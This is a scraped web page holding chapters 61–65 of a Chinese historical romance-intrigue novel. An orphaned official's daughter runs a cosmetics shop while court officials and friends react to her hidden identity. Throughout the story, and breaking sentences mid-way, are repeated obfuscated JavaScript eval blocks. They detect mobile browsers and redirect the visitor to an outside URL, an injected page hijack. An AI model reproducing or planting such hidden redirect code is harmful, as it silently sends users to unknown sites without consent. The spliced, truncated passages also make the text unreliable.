;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15017055|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从此相夫教子不问事实。谁想到她竟是个厉害的，不仅没有和林家成亲，还受林家庇佑，成了那破胭脂水粉店的小东家！这么一想，倒是我们小瞧了她……” 说到这儿，路羡之黑了脸，沉默不语。 那人见状低声问道：“那大人，不若让我去绑了那小丫头，待到夜黑风高之时，把她——” 竖起的手掌在脖颈处狠狠一抹，小厮看向路羡之，等待着他的指令。 路羡之将手掌一竖：“不必。” 他阴沉道：“如今我刚任书画院勾当官不久，此刻又在淮安见了她，若她今夜身死，定会有人怀疑是我动得手脚，倘若花家那边顺势查到大人头上，大人一时艴然不悦，将气儿撒到你我身上，你我能承受得起么！更何况，如今你我能有这样的风光，还不都是托了大人的福？你我事后落马不要紧，可若陛下趁此追究到大人身上，只怕咱俩便是下一个白纪风了！” 他说得骇人，叫那人一时没了主意。 他眼神左右乱晃，忧心忡忡道：“可若是不杀她，只怕她会将事情抖出去，到时候，大人您的处境岂不是更艰难了么？” 说到这儿，路羡之反而舒了一口气。 “不会。方才我见那小丫头的神情不像是知晓那事的模样，想来她如今还不知晓背后的因果，否则听闻我来早得就躲得远远儿的了，又怎会同我如此客套，还送了那盒胭脂给我？” 他说着，又低头看向那下官手里的胭脂。 后者被他这眼神吓得不行，急忙擦拭着额头上的汗，小心翼翼地问道：“可要下官把这晦气玩意儿扔了？” “扔他做什么？”路羡之阴险一笑，“好歹是人家的一片心意，若是扔了，不反倒显得你我心里有鬼？” 他看着那盒胭脂，默了默，忽地冷笑道：“那小丫头是个聪明的，如今她阿父被杀，朝廷却没有一点动静，你猜她会不会明白是何原因？更何况，她能自己一个人从长平跑到淮安来投奔林家，就足以证明她是个惜命的，既然她惜命，那她就肯定不会傻到往上去查。就算她查，凭她一个手无缚鸡之力的小姑娘又能查到什么呢？还不只是竹篮打水一场空？依我看，既然上头那位大人都不忧心于她，你我就更不必忧心于此了。与其担心她一介女流能反复朝廷，不如想想大人交给咱们的任务——如今陛下在各个关口派遣的人越来越多了，大人吩咐咱们要往匈奴那边送的白盐茶叶还不知道怎么送呢，小心误了时机，咱俩就得拿着项上人头去赔罪！至于他——” 路羡之抬脚死死踩在地上那位昏死过去的学谕身上，反复蹂躏了几次后才将脚收回，轻描淡写道：“好歹同窗一场，他疯了傻了，我这个做好友的自然要好好待他才是。” 说完，他垂眸看着那张熟悉得不能再熟悉的脸，想着他那时同白纪风一起濡毫泼墨时的意气风发样子，不由得冷冷一笑，眼底恶毒尽显。 “既然他那么喜欢同白纪风挥毫落纸，那便让他的一双手去陪白纪风在地府相伴吧。砍掉他的手，拿他扔到乱坟岗去。记得，此事过后别让淮安人再看见他，尤其是那个小妮子。不然又不知道要孳生多少祸端出来。” “是。” …… 62. 相见 目送着马车渐渐走远，白栖枝内心五味杂陈。 ——你方唱罢我登场。 世事如棋，局局新。 白栖枝不敢有疏忽，转身欲朝坊内走去。 “白姑娘。” 身后一个略显年迈的声音响起，白栖枝回头，就见着一位大人正严肃地看着他。 大人身形高大，面容方正，剑眉压着瑞凤眼斜插入鬓，颌下几缕胡须被打理得极为妥帖，眉宇间透了一股凛然正气，此刻他就站在白栖枝身后不远处，身着一袭紫色官袍，腰间束着一条精致的玉带，显得气宇轩昂，举手投足间都散发着一种不怒自威的气场，令人望而生畏，却又肃然起敬。 白栖枝不认得这位大人，她细思片刻，端庄上前欠身一礼道：“大人。” “爹！” 原本在那边陪着诸位小姐挑选胭脂的宋怀真、宋长宴两兄妹猛地高声一唤，急急一同跑上前来，围在宋鸿晖身侧，叽叽喳喳地问道：“爹你怎么来了？是要来阿娘和姨娘们挑选胭脂吗？走走走，爹咱们进去说进去说！” 说着，两人赶紧跑到他身后，一人推着他一个肩膀就要把他往香玉坊里推，气得原本一身方正的宋鸿晖顿时横眉一竖，曲起手指狠狠在两人头上一人敲了一下。 “宋怀真！你瞧瞧你，你好歹是我宋鸿晖的女儿，竟如此不懂礼数，总是喜欢拉着你弟弟往外跑不学好就算了，现在还怂恿你弟弟，想当街把我推进去，你成何体统！还有你，宋长宴！”见宋长宴一脸想跑的模样，宋鸿晖一把抓住他的后脖领，训斥道，“三年落榜，你也不知道长记性，成天只知道吃喝玩乐，现在倒好，不知道读书，倒这儿当起了售货郎君，若是让其他人知道，你把你爹的脸面往哪里放！” “爹……”宋长宴一脸心虚，把他爹转过去，又用胳膊肘怼了怼旁边翻白眼吐舌头做鬼脸的二姐，十足讨好地给宋鸿晖捏肩膀，笑眯眯地解释道，“爹，我这出来玩一次又不耽误事，而且我保证，今天耽误的学业我明天一定好好补上，绝不多拖延，爹就又饶了我这一次吧，好不？” 说完，他顶着一副小狗腿的笑容，为宋鸿晖又是捏肩又是捶背，甚至还趁宋鸿晖不注意，偷偷朝面前一脸紧张的白栖枝眨巴了下眼睛，示意她没问题，他一个人保准能搞定。 白栖枝当即将一颗小心脏放回心里，露出相信他的神色。 宋长宴这才又绕到宋鸿晖面前，讨好地笑着问道：“爹你怎么来了？你不是在李伯伯家里头做客么，怎么？李伯伯舍得提前放你出来啦？” 他口中的李伯伯，自然就是李延的父亲，那位刚正不阿到有些古板的御史台御史李德义李大人，由于他因为花太傅那位宝贝孙女偷偷拉着太子的手钻狗洞逃出皇宫一事，认为太子如今失仪皆是由那位花小千金造成，于是回京后第一件事就是又上奏陛下欲将那位花小小千金搬出皇宫，却又又遭陛下拒绝，以至于他差点又又又要死谏殿中，要不是被其余臣子拦下，恐怕他又又又又想血溅殿前了。 经此一事，皇帝实在是拿他没辙，特地准许让他回老家散散心。 这不，刚一回来，他就来找宋鸿晖愤愤讨论太子与那位花小千金的事，继而又由此事推至超纲，又由超纲推至青史……一大长串下来两人恨不得唠了两三个时辰，纵然沉稳如宋鸿晖也终是遭不住了，听闻自家儿子又领着众公子、千金上街招摇撞市，他当即高兴……不，是生气地同李德义告辞，头也不回地跑出来“捉拿”宋长宴，生怕自己慢一点就又会被身后人捉回去大谈特谈。 宋长宴还是一副笑眯眯的讨巧神情。 都说伸手不打笑脸人，宋鸿晖平时最疼爱他这个小儿子，听他声音如此乖巧俏皮，在加上他本就是因宋长宴才得以“脱离苦海，”就算方才被他气得直哼哼，如今心中的火也已经消去大半，早就气不起来了。 他捋着自己打理得一丝不苟的美髯悠悠说道：“还不是听说你又张罗了一堆人在街上招摇撞市，我担心你又要闹出什么事，这才从你李伯伯那里逃……阿不，从你李伯伯那里请辞出来捉你，孽子，你该当何罪！” “对不起啊爹，我下次不会了。”见自家老爹没真生气，宋长宴苍蝇般搓了搓手，赶紧伸出手掌朝宋鸿晖介绍道，“爹，这位就是我在赶考路上遇见的枝枝姑娘，当时如果不是她生火煮粥，你的宝贝儿子可就要饿死荒野了！而且枝枝姑娘她特别厉害，又会吟诗又善丹青，人也非常非常好，前几天还在这儿设粥棚救济百姓呢！阿爹你说，枝枝姑娘是不是特别好！是不是？是不是？” 宋长宴眼睛亮晶晶的，跟挖到宝贝要给家人看一样，止不住地夸白栖枝的好。 宋鸿晖一直捋着胡须静静听着，直到宋长宴发问他才沉默地板着脸点了点头，看向面前的白栖枝：“白姑娘。”他上下打量了一眼白栖枝，忽地转身对宋家两兄妹说道，“我有是要同白姑娘私谈，你们两个先退下。” 私谈？ 宋怀真、宋长宴面面相觑，但见自家老爹板着一张脸，十分严肃的样子，顿觉应该是什么大事，赶紧相互推着往坊内走，一边同众人打哈哈一边往白栖枝的方向支着耳朵偷听，只可惜坊内人多嘈杂，就算他俩是顺风耳也听不清自家老爹到底想说什么，无奈只好作罢。 “白姑娘。”身周少了那两个调皮精捣乱，宋鸿晖这才将视线放在白栖枝身上，将她从头看到尾，又从尾看到头，忽而问道，“姑娘可是翰林院院首白纪风白大人家的千金？” 白栖枝没想到这人一眼就看出了她的身份，当即怔在原地，点了点头。 “果然……”宋鸿晖目光一沉。 自白栖枝同林听澜进衙门缴纳那六百钱的时候，他就已经知道了白栖枝的身份。 又或者说。 淮安内上下官员都知道了她的身份。 白纪风之女——这是个多么显眼的身份啊，白家被灭门，这是朝中上下皆知的事。 这事儿从一早就传到陛下耳朵里了，但陛下至今还没出手，饶是傻子也知道是谁在背后做的手脚。 现如今此事背后牵扯着太多的事，没得查、也没法查！ 现如今，匈奴就在戍边对大昭虎视眈眈，都说百足之虫断而不蹶，如今正值盛世，若想让大昭国灭，就需得让其自身先乱起来，现如今白纪风一事就是如此。 有人想要朝纲乱起来，此时若不查，堂堂朝廷忠臣被灭门朝廷却不追究，实在是叫百姓心寒；可若是查了，便要牵扯出一批人来，到时候若要将其党羽及受牵连者挨个砍挨个诛九族，那朝中估计也没几个可用之人，到时候匈奴诸部落举兵进犯，大昭何以与之相匹敌？ 宋鸿晖本不想参与朝中那些苟合，但白纪风生前清正廉洁又爱民如子，这在他们这些人眼中都是有目共睹的，当时朝中清流皆想拉他入局，借他之事为自己一流博个好口碑，奈何白纪风年及家中妻女，实在不想蹚这滩浑水，这才一直置身于外。 可没想到那位大人就因为此事而误以为他已存跻身清流之心，将他视为眼中钉、肉中刺，欲将他除之后快，恰巧此时有人递刀而来，这才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宋鸿晖虽心疼他，却也无可奈何，只得招手：“宋怀真、宋长宴！” 那两人立即欢快跑开。 “枝枝姑娘！”宋长宴原本很开心，但见着白栖枝此刻神情黯然，忍不住关切问道，“枝枝姑娘怎么脸色看起来这般不好？需不需要我送枝枝姑娘去看看郎中？” 说着，他伸手，白栖枝却反常地后退一步避开，垂眸抿唇不语。 “枝枝姑娘……”宋长宴不知道自己做错了什么，有些惶然，转头去看宋鸿晖。 后者紧绷着一张脸，脸色似有愠色，拂袖转身道：“你们两个，跟我回家。” 宋长宴不明就里，他想在这儿陪着白栖枝，但见后者一副冷漠疏离的表情，自觉再待在这儿恐怕会惹她不悦。 他怯怯地收回手，同白栖枝暗道：“枝枝姑娘，你别担心，我很快就会搞定我爹的，你不要怕，等过两天我还来找你玩。” 说完，一步三回头地乖巧回到宋鸿晖身边，又依依不舍地转头看了白栖枝好久，直到被宋鸿晖揪着耳朵拖走，他才龇牙咧嘴地走远。 “东家！”紫玉从人群中欢快跑来。 她本想来告诉白栖枝香玉坊内所有胭脂水粉都被那些富贵人家少爷小姐包圆了这件好事，但见白栖枝神色恹恹便扭头就将这事儿忘了，关切上前道：“东家怎么了？可是有人难为你？是谁你跟我说！我保准让他吃不了兜着走！” “没什么。”白栖枝勉强撑起一个笑，摇摇头，“只是方才小腹有些痛，不过眼下已经好多了。对了，你刚才如此开心，是发生了什么事吗？” “对了东家！”紫玉欢快道，“咱香玉坊被人家包场了！不仅如此，还有小姐少爷们想要预定一批咱们日后的新货呢！定金都交了！这下子您终于不愁会被大爷困在林家了！” “是么？真是好事啊。”白栖枝又露出往常般温和柔顺的笑容。 真是好事啊。 …… 63. 难过 “为什么？到底是为什么？！” 宋长宴本以为他阿父是不想让他耽误学业才会如此生气，哪成想竟连枝枝姑娘都不让他见了！还要他和枝枝姑娘从此不相往来！ 宋长宴一怒之下捂住耳朵，不再管宋鸿晖想再说些什么，气呼呼地就往屋里跑。 甫一进屋里，宋长宴就把自己绷直了扔到床上，用被子死死蒙住全身，偷偷躲在被子里哭。 爹爹总说：官场无朋友。 因为出生官宦世家的原因，宋长宴从小被家里保护得极好，却也没有什么真心朋友——他不敢与人交心，就连身旁的那些玩的好的玩伴于他来说也不过是点头之交，幼时倒也交过一些不是官宦子女的朋友，结果被骗了十两银子，而且那人拿了银子就不见了踪影，从此以后就再也没找他玩过。 就因为这，他那时候好伤心好伤心，躲在屋子里一连哭了十天，要不是兄长阿姊们转着圈地围着他哄给他拿好吃的零嘴好玩的玩意儿，他恐怕会伤心一个月左右。 现如今，他好不容易在赶考路上遇到一个能和他真心做朋友的枝枝姑娘，结果又要因为阿父的缘故，从此两人要再不相往来，宋长宴光是这么想一想，就要哭到昏厥。 “吱呀——” 房门处传来声响，宋长宴怄气地身子一扭，背对着来者，一声不吭。 那人拍了拍藏在被子里的脑袋。 宋长宴赌气扭了扭身子，不出来。 那人又拍了拍他的脑袋，这次力道有点重，拍得宋长宴十分不高兴。 “干嘛！”他生气将被子一披，扭过头，顿时双眼放光，恨不得直扑到那人身上，甚为欣喜道，“大哥！” 宋长卿是太常少卿，多年居住京城，鲜有回来，加之年节之后宫内祭祀之事盛行，就连除夕那天，他都未曾回家同家人吃顿年夜饭，如今不知怎么突然出现在这里，叫宋长宴怎能不惊喜？ 但惊喜之余，又藏着一点担忧。 宋长宴忍不住问道：“大哥你怎么回来了？” 宋长卿模样随宋鸿晖，木头似的，经常板着一张脸，唯独看见自己这位同胞兄弟时才会露出一点浅浅笑意来：“现如今淮安的神女庙即将竣工，我作为太常少卿，自然要被派来巡视。” 神女庙，供的是千百年前的神女祝迎春。 传说这位神女是天道最小的女儿，比起其他神仙来最为心软，几乎有求必应，更有甚者言其先祖曾亲眼见过神女显灵、救济苍生，毁金像、伐暴君，是天下独一位现于尘世的上界神女。 由是陛下为请神女再次降世，庇佑大昭风调雨顺，免受匈奴侵扰，这才大兴神女庙，以昭诚信。 说着，他坐到宋长宴床边，拍了拍他的脑袋，“怎么？大哥回来你不高兴？” “怎么会？！”宋长宴大叫道。 宋长卿道：“若不是不高兴怎么会躲在被子里缩成一团？” 见宋长宴神色一下子如霜打茄子般委顿下来，宋长卿抬手摸了摸他的脑袋低声问道：“怎么？和阿父拌嘴了？” 宋长宴将眼一撇，心虚道：“没有……” 宋长卿将手收回道：“怎么没有？我回来时就见着你捂着耳朵往屋里跑，跑完就回房间里哭。别人不知道阿兄还不知道？你小时候一被训就会这样，这么多年来来回回好几十次了，屡试不爽。说罢，这次是因为什么？” “也不是因为什么……”宋长宴原本想憋住不跟宋长卿讲的，可一对上最疼爱自己亲大哥的那双乌黑乌黑的眼，他顿时就憋不住，一股脑儿地同宋长卿诉苦了。 白栖枝。 宋长卿倒是没听过这个名字，不过根据弟弟拼凑出的细节来看，这位从长平一路跑至淮安的姑娘听起来倒像是长平白家白纪风的子嗣。 可白家不是被灭了满门么，她是怎么活下来的？ 念及此，宋长卿剑眉轻皱。 宋长宴不知道自家大哥的神情为何这般严肃。 他摸不着头脑地问道：“大哥，怎么了？”问完，又哭兮兮地补上一句，“难不成大哥你也不喜欢枝枝姑娘？可是枝枝姑娘她人很好的，她都不图我的钱！我是真心想和她交朋友的，可为什么你和阿爹都不同意？为什么你们都不喜欢她哇？她人真的很好的……”说完，泪崩。 “别哭别哭。”宋长卿极为笨拙地安慰着弟弟，为他擦去泪花，耐心解释道，“大哥和阿爹不是不喜欢白姑娘，只是……” 他欲言又止，反倒勾起了宋长宴的好奇。 他擦了擦泪点，问道：“这是什么？” 宋长卿纠结着要不要把朝廷之事告诉他，可看着弟弟这双澄澈的眼，终究不敢说得太深，只是试探着问道：“长宴，你知晓长平白纪风白大人么？” 宋长宴重重点了点头：“知道，李延他们总是说翰林院院首白纪风白大人是朝中难得一见的好官，经常散财救济民生，每逢年关，还施粥会给穷人，甚至一施就是怔怔十日。正因如此，倘若哪年遇到旱灾涝灾，受难百姓都会不远万里地赶到长平朝白大人讨一碗白粥来过活……”他尾音拉长，似是反应过来什么似的，当即惊喜道，“难不成枝枝姑娘是那位白大人的女儿？” 宋长宴不置可否地点点头。 宋长宴一拍自己脑袋，碎碎念道：“哎呀！我真是读书读傻了，怎么就没想到呢！长平，白姓，施粥……这不正是那位白大人所做之事么！大哥……”说到这儿，他又疑惑了，“既然枝枝姑娘是那位白大人的女儿，明明她和白大人是那么好的人，为什么你和爹都不想让我接触她呢？” 宋长卿抿唇不语。 但在宋长宴那双清澈到黑白分明的凤眸的注视下，他只能撇过头去，低声道：“白家，被人灭门了！” “嗨呀！”宋长宴惊得几欲坐倒。 和宋长卿不同，宋长宴被宋鸿晖保护得很好，从不接触官场上那点子脏事，每天除了读书就是玩乐，就连进京赶考他都是两耳不闻窗外事，一心只读圣贤书，吃住都在屋内，很少与人打交道，自然听不见朝中那些风雨。 更何况，白家被灭一事自有“天上人”故意压之，凡近京城之地，方圆百里不得有人谈论此事，曾有人不信邪非要谈论，不过晌午就被牢头捉去享了场牢狱之灾。 虽说“世上没有不透风的墙”，但重刑之下未必不能铸成一堵不透风的墙。老百姓又不傻，不仅不傻，甚至因着住在皇城脚下越发精明起来，见此情形，自然对此事封口缄默，不敢露出半点风声，生怕下一个坐牢的就是自己。 也就是在这般情况下，宋长宴并不知晓白家被灭之事，如今听闻宋长卿说到此事，又想起自己初见白栖枝时她那副落魄模样，登时心疼得直掉眼泪，口中不住喃喃道：“若是如此，那枝枝姑娘她、她、她是怎么忍得住的啊？她是怎么活下来的啊……阿兄！” 宋长卿听闻他骤然唤自己，抬眼看他。 只见宋长宴狠狠抹了两把眼泪，神情坚毅，义正言辞道：“既然如此，那我便更是得保护枝枝姑娘，不能让她落入坏人的手里！”宋长宴吸了吸通红的鼻尖，“放心吧大哥，如今我长大了，做事也有了分寸，断不会给家中带来麻烦的！” 宋长卿刚要欣慰，却听他又道：“倘若有人因枝枝姑娘而追查下来，我定一人承担，绝不会连累到家里，所以，还请大哥替我去向阿爹求情，让阿爹准许我以后再见枝枝姑娘吧！” “傻孩子……”宋长卿抬手拍了拍他的头，语重心长道，“阿爹哪里是怕你给家中带来麻烦啊……” 阿爹是怕你有麻烦啊。 ——宋伯伯是怕自己给宋哥哥带来麻烦。 白栖枝趁着众人还在忙时偷偷跑回家缩到被子里哭了。 她也不知道自己做错了什么，从小到大，她都被阿爹阿娘和阿兄保护在府内，鲜能出去，由是从小到大，除却阿兄和林听澜，她都没有什么玩伴。 如今好不容易有了一个宋哥哥，还被他的家人给讨厌了。 她究竟是哪里做的不好才被讨厌了？ 白栖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好了，我知道你的心思，你是想把她藏在林家不被那些人找到对不对？”沈忘尘将手中账本一合，放置腿上，拇指轻轻摩挲过上头“香玉坊”三个大字，同他温声道，“可是阿澜，你有没有想过，这未必是她想要的人生呢？她还那么小，那么年轻，她合该到外头去闯一闯的那些人绊不倒她，更杀不掉她。她不是娇花——不，应该说她早就不是娇花了，她是莽草，是‘野火烧不尽，春风吹又生’的莽草，她知道她要去做什么，你我犯不着非要绊着她。” “可她一个女儿家闯什么闯？”心中实在是着急，林听澜放下茶杯，第一次在沈忘尘面前语气严肃道，“忘尘，你有没有想过，若她翅膀硬了，那迎接她的都会是什么？！” 没想到林听澜会用这样的口吻与语气来同自己说话，沈忘尘神色一怔，不可置信地望向他的眼。 这一看，叫林听澜也意识到自己的语气重了些。 他急忙缓和了语调：“忘尘……” “我乏了。”沈忘尘扭过头不去看他，可微微颤抖的瘫腿却掩饰不住他的心绪，他尽力装作若无其事的样子淡淡道，“阿澜，我乏了，要回去休息了，你乖乖也回去吧。” 林听澜顿时明白：忘尘是要不理他了。 他看着沈忘尘瘦弱的病躯，顿时难掩心疼，可心疼又怎样呢？他再开口，又会惹得忘尘厌烦，还不如让他眼不见心不烦。 “好，我走。”林听澜低声道，“忘尘你好好休息，等你身子好些我们再谈也不迟。” 说完，他起身便走。 ——真的，就这么走了？ 看着林听澜果决离去的背影，沈忘尘眸中难掩苦涩，一双冻得青白的手死死捏住账本，连带着他一颗心也被捏的皱巴巴的。 真就这么走了？ 连留都不留一下的么？ 哪怕说句话也好，哪怕说一句“不想走”也好，怎么能就这么干脆的一走了之了呢？ 难不成以后你也要对我一走了之么？ 人去屋空，人走茶凉。 沈忘尘久久凝视着空荡荡的门口，一直回不过神，直到—— “笃笃笃。” 轻柔的敲门声起，方才处于话题中心的人这才将将登场。 沈忘尘只听她欢欣问道：“沈哥哥，我可以进来么？” …… 64. 冬去 白栖枝此番前来本是想将这个好消息告诉沈忘尘，证明自己所学非虚。 可屋里头的人话语声轻飘飘的，仿若一阵雾，风一吹，就散的不见踪影。 “枝枝，沈哥哥今日有些乏累了，有什么事，明日再说，好么？” 他声音倦极，白栖枝的心一下子揪了起来。 她担心沈忘尘的身体，想问他究竟是哪里不适，要不要去叫郎中。 可听他如此恹恹，便也不好打扰，只垂下眼帘乖顺道：“好，那沈哥哥好好休息，待沈哥哥休息好身子，枝枝再来拜会。” 踏雪声渐远，门外没了动静，只剩下长风梳过枝桠的簌簌寂寥。 也走了么？ 沈忘尘偏头仔细听着，可门外除了风声什么都没有。 “枝枝……”他呢喃着白栖枝的闺名，却怎么猜不透自己的心绪。 沈忘尘长叹一口气。 明明，明明他是想让想让白栖枝陪在林听澜身侧，为他生儿育女，扶持他相伴一生的。 可为什么？ 当林听澜眼里心里真的有了白栖枝的时候，他的内心竟会生出浓浓的嫉妒呢？ 是的，嫉妒。 他嫉妒林听澜眼里有白栖枝，更恼火于林听澜会因为白栖枝凶他。 可如今这番不是他自己亲手造成的么？ 枝枝又做错了什么呢？ 她什么都没有做错，她只是在一步步跟着他的步调走，假以时日，她一定会取代他在林听澜心里的地位，到时候他又真的会如预期般人心放手么？ 还是……他想让这两人一直围着自己转呢？ 沈忘尘孤寂了太久，落寞了太久，以至于看着两人相继而去，竟有种再次被抛下的无力感。 但这最初不是因为他说乏累他们才会走的么？ 沈忘尘希望他们留下来——那种哪怕他一次次地将他们推远，他们也能够一次次地折返的留下来。 但…… 捏着账本的手用力到骨节发白，沈忘尘拼命压抑着自己的心绪，不展露出自己脆弱的一面。 突然—— “笃笃笃” 门外又传来声响。 沈忘尘偏过头去：“谁？” 北风飒踏，门外，小姑娘细弱的声音混着呼呼风声在门外响起：“沈哥哥。”她说，“枝枝还是有点不放心你，拿来了姜枣茶，沈哥哥可以放枝枝进去吗？枝枝不会烦沈哥哥的，枝枝只要看着沈哥哥把茶喝完就好。但如果沈哥哥太累了的话，枝枝也是可以走的……沈哥哥让枝枝进去看一眼，就一眼，好不好？” 心中的郁卒突然被一束光打透，沈忘尘死捏着账本的手一下子松了力道。 他又换上了平时那副如往常一样的和善笑脸，看着门外那道瘦小身影，温声道：“进来吧。” 他声音如清泉溅石，令人听不出任何异样。 白栖枝以为他这时身子已缓过来许多，忍不住松了口气，小心翼翼地将门推开一丝小缝儿。 一股冷风味儿当即顺着门缝挤进房间， 白栖枝赶紧关门，又在火炉旁将通身寒气烘暖，这才小心翼翼地端着手中的姜枣茶进了朝沈忘尘的卧榻走去。 哪成想一进门，就看见沈忘尘坐在贵妃榻上正笑眯眯地看着自己。 他面色有些不好，白栖枝看着心疼，急忙将姜枣茶奉上前去，习惯性地要去探他的额头，却在刚要抬手时顿住。 是呢，这次又不是上次，上次她趁着沈忘尘烧得迷迷糊糊时去摸了他的额头试温，可这次他清醒着呢，自己如此鲁莽实在是有失礼数。 想着，白栖枝目光下垂，刚好看见沈忘尘手中的账本。 那是一本被被捏的褶皱的账本，从指尖缝隙处依稀可见得“香玉”两个大字。 “怎么了？”沈忘尘只见这白栖枝的手颤动了一下，随即就落下目光朝着他手中的账本望。 他也垂下头来看。 不知何时，账簿已经被自己捏得皱巴巴的，上头每一道折痕都像是他生过气的痕迹。 “我……”沈忘尘下意识想要解释什么，却在白栖枝抬头时彻底把话噎住。 “沈哥哥，枝枝也很厉害的，对吧？”小姑娘笑眯眯地看着她，一双眸子亮的出奇，活像一只做了好事期盼主人能好好摸她头的小狗狗，“枝枝本来还想同沈哥哥说这件事呢，没想到沈哥哥已经知道了喔！这下子枝枝就没有什么惊喜可以给沈哥哥的了，沈哥哥好好休养身体，枝枝还有些账簿还没有整理，就先回去了。等沈哥哥身体好的时候枝枝再来打扰。” 说完她笑盈盈地同沈忘尘告别，第一次未等他开口答应便轻飘飘地离开，脚步轻盈得活像一只白玉蝶。 枝枝…… 沈忘尘在心中呢喃了一遍她的名字。 他偏过头去看白栖枝方才奉上的姜枣茶：茶还是温热的，里头一颗红枣浮在正中央，上头正冒丝丝缕缕的白雾，在寒冷的冬日里看起来格外暖心。 ——枝枝啊。 为什么？ 为什么她明明已经尽力了，大家却还是会因为她而恼火呢？ 白栖枝不知道问题究竟出在哪里，宋伯父也是，沈哥哥也是，当她好不容易将香玉坊经营起来时，大家似乎……更不喜欢她了。 白栖枝有些伤心。 但她也没有那么多时间伤心，如今香玉坊正是忙的时候，等她什么时候闲下来再有空伤心也不迟。 想着，白栖枝赶紧调整好心态朝香玉坊赶，却在进门看到那个熟悉的红色身影时顿住脚步，不可置信道：“宋哥哥？” 宋长宴是在不久之前来的，他一进门就不见白栖枝的身影，一问之下才知道白栖枝原是回林府去了。 本想着今日就这样无奈错过，没想到在他将要离开时偏巧她又回来了。 “枝枝姑娘！”宋长宴面上难掩欣喜，立刻扑上前去，握住白栖枝的，摆出一副哭哭脸撒娇道，“枝枝姑娘你可算来了，我还以为今日要见不到你了，我差点就要难过得哭出来了。” “嘿嘿……”白栖枝粲然一笑，伸手想要去摸宋长宴的脑袋，却在踮脚的刹那想起宋鸿晖曾对她说的话。 ——你们本就不是一路人，如此纠缠对彼此都不好。 几乎是一瞬间，她落下脚跟，向后退去一步，抽离了宋长宴的手。 “宋二公子。”她尽量装作一副疏离模样，垂眸轻声问道，“不知宋二公子此次前来何事？” 宋长宴知道她还在为前几天的事耿耿于怀，倒也不在乎她这般模样，笑着不好意思地摸了摸后脑勺：“其实也没有什么事啦，就是，我听闻枝枝姑娘这月考绩合格，特来为枝枝姑娘你贺喜，哦对了！我还带了贺礼，不知道枝枝姑娘会不会喜欢。” 说着，他拎着一个用红绢布精心包裹好的小盒子，神神秘秘地递到白栖枝面前，一副“求夸奖”的讨好神情。 白栖枝本来还在犹豫要不要接过，结果一对上他水灵灵的狗狗眼，立即心软成一滩，下意识伸手接过。 她小心翼翼地解开结扣，又小心翼翼地将檀木小盒的盖子打开。 这是！这是！ 在看到里头静静卧在红丝绸绢布里东西时，她一个没忍住，惊喜地捂住嘴巴，眼中泪水喷薄而出。 “枝枝姑娘。”见她哭，宋长宴立即慌得手足无措。 他赶忙解释道：“之前我有一次上街游玩，无意间看到一家当铺里卖着这个，就赶紧买下来了……”说到这儿，他抿了抿唇，低声道，“这可是枝枝姑娘的阿娘留给枝枝姑娘的遗物呢，我想，如果这个东西被其他人买走的话，枝枝姑娘一定会很伤心的吧？所以我才想着要赶紧买下来，打算找个好时辰把此物还给枝枝姑娘，只是枝枝姑娘近日来一直很忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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怕自己越待下去越想同她谈天，越想谈天越说多说错，宋长宴赶紧找了个借口拜别。 白栖枝自然也没强留他，只欠身一礼：“宋哥哥慢走。” 宋长宴急匆匆地走了。 一直在旁八卦的众人见两人这般娇羞甜蜜，忍不住长长“咦”了一声，纷纷打趣地撮合着他们这对金童玉女，羞得白栖枝一张小脸红得都宛若年节时高高挂起的大红灯笼了。 “好了，别打趣我了。”白栖枝被他们笑得不得不拿出东家的架子，看着她们娇嗔道，“大家活儿都干完了么？若是没做完被我发现的话，我可是要恼的。”说完，双手叉腰，露出一副气鼓鼓的样子。 只可惜这幅气包子的模样在众人眼中宛若撒娇。 “好了好了，不笑了不笑了，东家生气了，我们可是怕得很嘞。”李素染几乎笑得直不起腰，若不是身旁还有柜台撑着，恐怕她现在都要笑瘫在地了。 “掌柜的！” 白栖枝恼极，气得小脚一跺就要走，众人赶紧上前去拉。 大家又围着她笑闹了一番，直到又有新客进门，才将将作罢。 “小姐，看看咱们香玉坊里新出的胭脂吧，好看着呢！”紫玉声音清脆动人。 眼见一切都步入正轨，白栖枝这才松了口气，转身想去揽客，余光却不经意瞥到坊外那棵歪脖子柳树。 几乎只是一夜间，那颗枯树已渐渐开始抽枝发芽，白雪压着那抹娇弱嫩绿，反倒叫它生出几分生生不息的坚毅。 ——春天来了。 白栖枝只是这么望着，心里忽地涌上一股劲头来。 是啊。 冬去春来，她终于可以在淮安立足了。 终于， 可以开启她计划的第一步了。 …… 65. 登山 一场春雨一场暖。 二月积雪犹寒，三月便渐融成水，润得百花始含苞。 待到四月初又迎来了连绵不尽的春雨，山下牡丹山上莲皆被这一场雨打开了花骨朵，含羞带臊地迎客而放，宛若花仙下凡，美不胜收。 这雨下了足足三日才肯停歇，明儿就是清明，林听澜想着带沈忘尘和白栖枝去刚刚竣工不久的神女庙拜一拜，听说神女心慈，只要他们好生供奉，必不会让他们活得太辛苦。 这还是白栖枝第一次同两人一起出门，自是新奇得不像话，打从知道这个消息开始就每天都在傻笑。 